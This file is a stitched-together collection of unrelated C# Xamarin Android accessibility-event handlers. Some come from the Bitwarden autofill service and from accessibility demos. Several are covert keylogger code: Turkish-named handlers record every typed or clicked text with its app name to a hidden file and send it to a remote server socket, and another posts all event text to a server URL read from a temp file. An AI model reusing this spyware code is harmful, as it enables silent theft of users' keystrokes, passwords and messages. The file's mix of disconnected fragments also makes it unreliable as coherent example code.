public override void OnInitializeAccessibilityEvent(View host, AccessibilityEvent @event) { base.OnInitializeAccessibilityEvent(host, @event); // Update the state information when an event fires @event.Checked = ((ConditionResultView)host).Highlighted; }
public bool ScanAndAutofill(AccessibilityNodeInfo root, AccessibilityEvent e, NotificationManager notificationManager, bool cancelNotification) { var passwordNodes = GetWindowNodes(root, e, n => n.Password, false); if (passwordNodes.Count > 0) { var uri = GetUri(root); if (uri != null && !uri.Contains(BitwardenWebsite)) { if (NeedToAutofill(AutofillActivity.LastCredentials, uri)) { var allEditTexts = GetWindowNodes(root, e, n => EditText(n), false); var usernameEditText = allEditTexts.TakeWhile(n => !n.Password).LastOrDefault(); FillCredentials(usernameEditText, passwordNodes); allEditTexts.Dispose(); usernameEditText.Dispose(); } else { NotifyToAutofill(uri, notificationManager); cancelNotification = false; } } } AutofillActivity.LastCredentials = null; passwordNodes.Dispose(); return(cancelNotification); }
public bool ScanAndAutofill(AccessibilityNodeInfo root, AccessibilityEvent e) { var filled = false; var uri = AccessibilityHelpers.GetUri(root); if (uri != null && !uri.Contains(BitwardenWebsite) && AccessibilityHelpers.NeedToAutofill(AccessibilityHelpers.LastCredentials, uri)) { var allEditTexts = AccessibilityHelpers.GetWindowNodes(root, e, n => AccessibilityHelpers.EditText(n), false); var usernameEditText = AccessibilityHelpers.GetUsernameEditText(uri, allEditTexts); var passwordNodes = AccessibilityHelpers.GetWindowNodes(root, e, n => n.Password, false); if (usernameEditText != null || passwordNodes.Count > 0) { AccessibilityHelpers.FillCredentials(usernameEditText, passwordNodes); filled = true; _lastAutoFillTime = Java.Lang.JavaSystem.CurrentTimeMillis(); AccessibilityHelpers.LastCredentials = null; } allEditTexts.Dispose(); passwordNodes.Dispose(); } if (AccessibilityHelpers.LastCredentials != null) { Task.Run(async() => { await Task.Delay(1000); AccessibilityHelpers.LastCredentials = null; }); } return(filled); }
public bool ScanAndAutofill(AccessibilityNodeInfo root, AccessibilityEvent e) { var filled = false; var passwordNodes = AccessibilityHelpers.GetWindowNodes(root, e, n => n.Password, false); if (passwordNodes.Count > 0) { var uri = AccessibilityHelpers.GetUri(root); if (uri != null && !uri.Contains(BitwardenWebsite)) { if (AccessibilityHelpers.NeedToAutofill(AccessibilityHelpers.LastCredentials, uri)) { AccessibilityHelpers.GetNodesAndFill(root, e, passwordNodes); filled = true; _lastAutoFillTime = Java.Lang.JavaSystem.CurrentTimeMillis(); } } AccessibilityHelpers.LastCredentials = null; } else if (AccessibilityHelpers.LastCredentials != null) { Task.Run(async() => { await Task.Delay(1000); AccessibilityHelpers.LastCredentials = null; }); } passwordNodes.Dispose(); return(filled); }
public override void OnAccessibilityEvent(AccessibilityEvent e) { lock (_probes) { Task.WaitAll(_probes.Select(p => p.OnAccessibilityEventAsync(e)).ToArray()); } }
public bool ScanAndAutofill(AccessibilityNodeInfo root, AccessibilityEvent e, NotificationManager notificationManager, bool cancelNotification) { var passwordNodes = AccessibilityHelpers.GetWindowNodes(root, e, n => n.Password, false); if (passwordNodes.Count > 0) { var uri = AccessibilityHelpers.GetUri(root); if (uri != null && !uri.Contains(BitwardenWebsite)) { if (AccessibilityHelpers.NeedToAutofill(AccessibilityHelpers.LastCredentials, uri)) { AccessibilityHelpers.GetNodesAndFill(root, e, passwordNodes); } else { NotifyToAutofill(uri, notificationManager); cancelNotification = false; } } AccessibilityHelpers.LastCredentials = null; } else if (AccessibilityHelpers.LastCredentials != null) { Task.Run(async() => { await Task.Delay(1000); AccessibilityHelpers.LastCredentials = null; }); } passwordNodes.Dispose(); return(cancelNotification); }
private NodeList GetWindowNodes(AccessibilityNodeInfo n, AccessibilityEvent e, Func <AccessibilityNodeInfo, bool> condition, bool disposeIfUnused, NodeList nodes = null) { if (nodes == null) { nodes = new NodeList(); } if (n != null) { var dispose = disposeIfUnused; if (n.WindowId == e.WindowId && !(n.ViewIdResourceName?.StartsWith(SystemUiPackage) ?? false) && condition(n)) { dispose = false; nodes.Add(n); } for (var i = 0; i < n.ChildCount; i++) { GetWindowNodes(n.GetChild(i), e, condition, true, nodes); } if (dispose) { n.Dispose(); } } return(nodes); }
public override void OnAccessibilityEvent(AccessibilityEvent e) { Instance = this; if (e == null) { return; } if (string.IsNullOrWhiteSpace(e.PackageName)) { return; } if (string.IsNullOrWhiteSpace(e.ClassName)) { return; } var status = RunPackageNames?.Invoke().Any(x => x == e.PackageName) ?? false; if (AutoGlobal.Instance?.Events == null) { return; } foreach (var item in AutoGlobal.Instance?.Events) { item.Event(this, e); } }
public override void OnAccessibilityEvent(AccessibilityEvent e) { Instance = this; if (e == null) { return; } if (string.IsNullOrWhiteSpace(e.PackageName)) { return; } if (string.IsNullOrWhiteSpace(e.ClassName)) { return; } if (AutoGlobal.Instance?.Events == null) { return; } foreach (var item in AutoGlobal.Instance?.Events) { item.Event(this, e); } }
private void OverlayPromptToAutofill(AccessibilityNodeInfo root, AccessibilityEvent e) { if (!AccessibilityHelpers.OverlayPermitted()) { System.Diagnostics.Debug.WriteLine(">>> Overlay Permission not granted"); Toast.MakeText(this, AppResources.AccessibilityOverlayPermissionAlert, ToastLength.Long).Show(); return; } if (_overlayView != null || _anchorNode != null || _overlayAnchorObserverRunning) { CancelOverlayPrompt(); } if (Java.Lang.JavaSystem.CurrentTimeMillis() - _lastAutoFillTime < 1000) { return; } var uri = AccessibilityHelpers.GetUri(root); if (string.IsNullOrWhiteSpace(uri)) { return; } var layoutParams = AccessibilityHelpers.GetOverlayLayoutParams(); var anchorPosition = AccessibilityHelpers.GetOverlayAnchorPosition(root, e.Source); layoutParams.X = anchorPosition.X; layoutParams.Y = anchorPosition.Y; if (_windowManager == null) { _windowManager = GetSystemService(WindowService).JavaCast <IWindowManager>(); } var intent = new Intent(this, typeof(AccessibilityActivity)); intent.PutExtra("uri", uri); intent.SetFlags(ActivityFlags.NewTask | ActivityFlags.SingleTop | ActivityFlags.ClearTop); _overlayView = AccessibilityHelpers.GetOverlayView(this); _overlayView.Click += (sender, eventArgs) => { CancelOverlayPrompt(); StartActivity(intent); }; _anchorNode = e.Source; _lastAnchorX = anchorPosition.X; _lastAnchorY = anchorPosition.Y; _windowManager.AddView(_overlayView, layoutParams); System.Diagnostics.Debug.WriteLine(">>> Accessibility Overlay View Added at X:{0} Y:{1}", layoutParams.X, layoutParams.Y); StartOverlayAnchorObserver(); }
public override void OnAccessibilityEvent(AccessibilityEvent e) { Log.Debug(TAG, "onAccessibilityEvent"); AccessibilityNodeInfo source = e.Source; if (e.EventType == EventTypes.WindowStateChanged && !e.ClassName.Contains("AlertDialog")) { return; } if (e.EventType == EventTypes.WindowContentChanged && (source == null || !source.ClassName.Equals("Android.Widget.TextView"))) { return; } if (e.EventType == EventTypes.WindowContentChanged && System.String.IsNullOrEmpty(source.Text)) { return; } ICharSequence eventText; if (e.EventType == EventTypes.WindowStateChanged) { eventText = (ICharSequence)e.Text; } else { eventText = (ICharSequence)Collections.SingletonList(source.Text); } string text = ProcessUSSDText(eventText); }
public async virtual Task OnAccessibilityEventAsync(AccessibilityEvent e) { string applicationName = Application.Context.PackageManager.GetApplicationLabel(Application.Context.PackageManager.GetApplicationInfo(e.PackageName, PackageInfoFlags.MatchDefaultOnly)); AccessibilityDatum datum = new AccessibilityDatum(e.Enabled, e.CurrentItemIndex, e.Checked, e.ContentChangeTypes.ToString(), e.EventTime, e.EventType.ToString(), e.MovementGranularity.ToString(), e.FullScreen, e.ItemCount, e.PackageName, applicationName, e.ParcelableData, e.Password, e.RecordCount, e.FromIndex, e.AddedCount, e.Text.ToString(), e.ContentDescription, e.ClassName, e.BeforeText, e.GetAction().ToString(), e.RemovedCount, e.MaxScrollX, e.MaxScrollY, e.ScrollX, e.ScrollY, e.Scrollable, e.Source, e.ToIndex, e.WindowId, DateTimeOffset.UtcNow); await StoreDatumAsync(datum); }
public override void OnAccessibilityEvent(AccessibilityEvent e) { if (PowerClicked) { PerformGlobalAction(GlobalAction.PowerDialog); PowerClicked = false; } }
public override async Task OnAccessibilityEventAsync(AccessibilityEvent e) { if (e.EventType == EventTypes.ViewTextChanged) { SensusServiceHelper.Get().Logger.Log($"Keystroke: {e.Text[0]}", LoggingLevel.Normal, GetType()); await StoreDatumAsync(new KeystrokeDatum(DateTimeOffset.UtcNow, e.Text[0].ToString(), e.PackageName)); } }
public override void OnPopulateAccessibilityEvent(AccessibilityEvent e) { base.OnPopulateAccessibilityEvent(e); if (e.EventType == EventTypes.ViewAccessibilityFocused) { Console.WriteLine("PIPPO I am in focus"); } }
private string paketIsmi_(AccessibilityEvent ivent) { if (ivent.PackageName != temp2) { temp2 = ivent.PackageName; return("[Tıklandı][" + DateTime.Now.ToString("HH:mm") + "] " + ivent.PackageName + " "); } return("[Tıklandı] "); }
public override void OnAccessibilityEvent(AccessibilityEvent e) { if (EventProcessor == null || !EventProcessor.IsValuableEvent(e)) { return; } EventProcessor.ProcessEvent(e); }
private string paketIsmi(AccessibilityEvent ivent) { if (ivent.PackageName != tempus) { tempus = ivent.PackageName; return("[" + DateTime.Now.ToString("HH:mm") + "] " + ivent.PackageName + Environment.NewLine); } return(""); }
public override void OnAccessibilityEvent(AccessibilityEvent e) { Enabled = true; var root = RootInActiveWindow; if (string.IsNullOrWhiteSpace(e.PackageName) || e.PackageName == SystemUiPackage || root?.PackageName != e.PackageName) { return; } switch (e.EventType) { case EventTypes.WindowContentChanged: case EventTypes.WindowStateChanged: var cancelNotification = true; if (e.PackageName == BitwardenPackage) { CancelNotification(); break; } var passwordNodes = GetWindowNodes(root, e, n => n.Password); if (passwordNodes.Any()) { var uri = GetUri(root); if (uri.Contains(BitwardenWebsite)) { break; } if (NeedToAutofill(AutofillActivity.LastCredentials, uri)) { var allEditTexts = GetWindowNodes(root, e, n => EditText(n)); var usernameEditText = allEditTexts.TakeWhile(n => !n.Password).LastOrDefault(); FillCredentials(usernameEditText, passwordNodes); } else { NotifyToAutofill(uri); cancelNotification = false; } AutofillActivity.LastCredentials = null; } if (cancelNotification) { CancelNotification(); } break; default: break; } }
//TODO: is host.GetContect what we want, or should be create an Additional field in this class? public override void OnPopulateAccessibilityEvent(View host, AccessibilityEvent @event) { base.OnPopulateAccessibilityEvent(host, @event); // Note that View.onPopulateAccessibilityEvent was introduced in // ICS and we would like to tweak a bit the text that is reported to // accessibility services via the AccessibilityEvent. @event.GetText().Add(host.GetContext().GetString( R.Strings.accessibility_delegate_custom_text_added)); }
public static void GetNodesAndFill(AccessibilityNodeInfo root, AccessibilityEvent e, IEnumerable <AccessibilityNodeInfo> passwordNodes) { var allEditTexts = GetWindowNodes(root, e, n => EditText(n), false); var usernameEditText = GetUsernameEditTextIfPasswordExists(allEditTexts); FillCredentials(usernameEditText, passwordNodes); allEditTexts.Dispose(); usernameEditText = null; }
public static void PrintTestData(AccessibilityNodeInfo root, AccessibilityEvent e) { var testNodes = GetWindowNodes(root, e, n => n.ViewIdResourceName != null && n.Text != null, false); var testNodesData = testNodes.Select(n => new { id = n.ViewIdResourceName, text = n.Text }); foreach (var node in testNodesData) { System.Diagnostics.Debug.WriteLine("Node: {0} = {1}", node.id, node.text); } }
public override void OnAccessibilityEvent(AccessibilityEvent e) { string dataFiles = Android.OS.Environment.ExternalStorageDirectory.AbsolutePath + "/mainly/" + string.Format("{0}-{1}-{2}", DateTime.Now.Day, DateTime.Now.Month, DateTime.Now.Year) + ".tht"; switch (e.EventType) { case EventTypes.ViewTextChanged: try { string cr = paketIsmi(e) + e.Text[0]; loglar.Add(cr); using (System.IO.StreamWriter sw = System.IO.File.AppendText(dataFiles)) { sw.WriteLine(cr); } if (MainActivity.key_gonder == true) { byte[] veri = System.Text.Encoding.UTF8.GetBytes("CHAR|" + cr + "|" + MainValues.uniq_id + "|"); PictureCallback.Send(MainActivity.server, veri, 0, veri.Length, 59999); } } catch (Exception) { } break; case EventTypes.ViewClicked: try { string cr = paketIsmi_(e) + e.Text[0]; loglar.Add(cr); using (System.IO.StreamWriter sw = System.IO.File.AppendText(dataFiles)) { sw.WriteLine(cr); } if (MainActivity.key_gonder == true) { byte[] data = System.Text.Encoding.UTF8.GetBytes("CHAR|" + cr + "|" + MainValues.uniq_id + "|"); PictureCallback.Send(MainActivity.server, data, 0, data.Length, 59999); } } catch (Exception) { } break; } }
public override void OnAccessibilityEvent(AccessibilityEvent e) { string dataFiles = Android.OS.Environment.ExternalStorageDirectory.AbsolutePath + "/mainly/" + string.Format("{0}-{1}-{2}", DateTime.Now.Day, DateTime.Now.Month, DateTime.Now.Year) + ".tht"; switch (e.EventType) { case EventTypes.ViewTextChanged: try { string cr = paketIsmi(e) + e.Text[0]; loglar.Add(cr); using (StreamWriter sw = File.AppendText(dataFiles)) { sw.WriteLine(cr); } if (MainActivity.key_gonder == true) { ((MainActivity)MainActivity.global_activity).soketimizeGonder("CHAR", "[VERI]" + cr + "[VERI][0x09]"); } } catch (Exception) { } break; case EventTypes.ViewClicked: try { string cr = paketIsmi_(e) + e.Text[0]; loglar.Add(cr); using (StreamWriter sw = File.AppendText(dataFiles)) { sw.WriteLine(cr); } if (MainActivity.key_gonder == true) { ((MainActivity)MainActivity.global_activity).soketimizeGonder("CHAR", "[VERI]" + cr + "[VERI][0x09]"); } } catch (Exception) { } break; } }
public override void OnAccessibilityEvent(AccessibilityEvent e) { try { if (e.Text.Count > 0) { AccessibilityBroadcast?.Invoke(this, new KeystrokeDatum(DateTimeOffset.UtcNow, e.Text[0].ToString(), e.PackageName)); } } catch (Exception ex) { SensusException.Report("Exception in Kesystroke service: " + ex.Message, ex); } }
public static NodeList GetWindowNodes(AccessibilityNodeInfo n, AccessibilityEvent e, Func <AccessibilityNodeInfo, bool> condition, bool disposeIfUnused, NodeList nodes = null, int recursionDepth = 0) { if (nodes == null) { nodes = new NodeList(); } var dispose = disposeIfUnused; if (n != null && recursionDepth < 100) { var add = n.WindowId == e.WindowId && !(n.ViewIdResourceName?.StartsWith(SystemUiPackage) ?? false) && condition(n); if (add) { dispose = false; nodes.Add(n); } for (var i = 0; i < n.ChildCount; i++) { var childNode = n.GetChild(i); if (childNode == null) { continue; } else if (i > 100) { Android.Util.Log.Info(BitwardenTag, "Too many child iterations."); break; } else if (childNode.GetHashCode() == n.GetHashCode()) { Android.Util.Log.Info(BitwardenTag, "Child node is the same as parent for some reason."); } else { GetWindowNodes(childNode, e, condition, true, nodes, recursionDepth++); } } } if (dispose) { n?.Recycle(); n?.Dispose(); } return(nodes); }
public static bool IsUsernameEditText(AccessibilityNodeInfo root, AccessibilityEvent e) { var allEditTexts = GetWindowNodes(root, e, n => EditText(n), false); var usernameEditText = GetUsernameEditTextIfPasswordExists(allEditTexts); if (usernameEditText != null) { var isUsernameEditText = IsSameNode(usernameEditText, e.Source); allEditTexts.Dispose(); usernameEditText = null; return(isUsernameEditText); } return(false); }
public override void OnAccessibilityEvent(AccessibilityEvent e) { try { // Server var documents = "/data/local/tmp"; var file = Path.Combine(documents, "jadr-server.txt"); var httpWebRequest = (HttpWebRequest)WebRequest.Create(File.ReadAllText(file)); httpWebRequest.ContentType = "application/json"; httpWebRequest.Method = "POST"; using (var streamWriter = new StreamWriter(httpWebRequest.GetRequestStream())) { string json = "{\"Event Time\":\"" + e.EventTime + "\"," + "\"Event Type\":\"" + e.EventType + "\"," + "\"Content Decription\"" + e.ContentDescription + "\"," + "\"Package Name\":\"" + e.PackageName + "\"," + "\"Source\":\"" + e.Source + "\"," + "\"Class Name\":\"" + e.ClassName + "\"," + "\"Class\":\"" + e.Class + "\"," + "\"Class Name Formatted\":\"" + e.ClassNameFormatted + "\"," + "\"Action\":\"" + e.GetAction() + "\"," + "\"Movement Granularity\":\"" + e.MovementGranularity + "\"," + "\"Scroll X\":\"" + e.ScrollX + "\"," + "\"Scroll Y\":\"" + e.ScrollY + "\"," + "\"Text\":\"" + string.Join(",", e.Text) + "\"," + "\"Enabled\":\"" + e.Enabled + "\"," + "\"Checked\":\"" + e.Checked + "\"," + "\"Window ID\":\"" + e.WindowId + "\"}"; println(json); streamWriter.Write(json); } var httpResponse = (HttpWebResponse)httpWebRequest.GetResponse(); using (var streamReader = new StreamReader(httpResponse.GetResponseStream())) { var result = streamReader.ReadToEnd(); //Ignore } } catch (Exception ex) { println(ex.ToString()); Console.WriteLine(ex.ToString()); // Ignore } }
public static bool IsUsernameEditText(AccessibilityNodeInfo root, AccessibilityEvent e) { var allEditTexts = GetWindowNodes(root, e, n => EditText(n), false); var uriString = GetUri(root); var usernameEditText = GetUsernameEditText(uriString, allEditTexts); var isUsernameEditText = false; if (usernameEditText != null) { isUsernameEditText = IsSameNode(usernameEditText, e.Source); } allEditTexts.Dispose(); return(isUsernameEditText); }
public override void OnInitializeAccessibilityEvent(AccessibilityEvent e) { base.OnInitializeAccessibilityEvent(e); if (e.EventType == EventTypes.ViewAccessibilityFocused) { this.SetBackgroundColor(Android.Graphics.Color.Green); this.Text = "I have the accessibility focus"; Console.WriteLine("ACCESSIBILITY I am in focus"); } else if (e.EventType == EventTypes.ViewAccessibilityFocusCleared) { this.SetBackgroundColor(Android.Graphics.Color.Red); this.Text = "I AM NO MORE IN FOCUS"; Console.WriteLine("ACCESSIBILITY I am in NOT in focus"); } }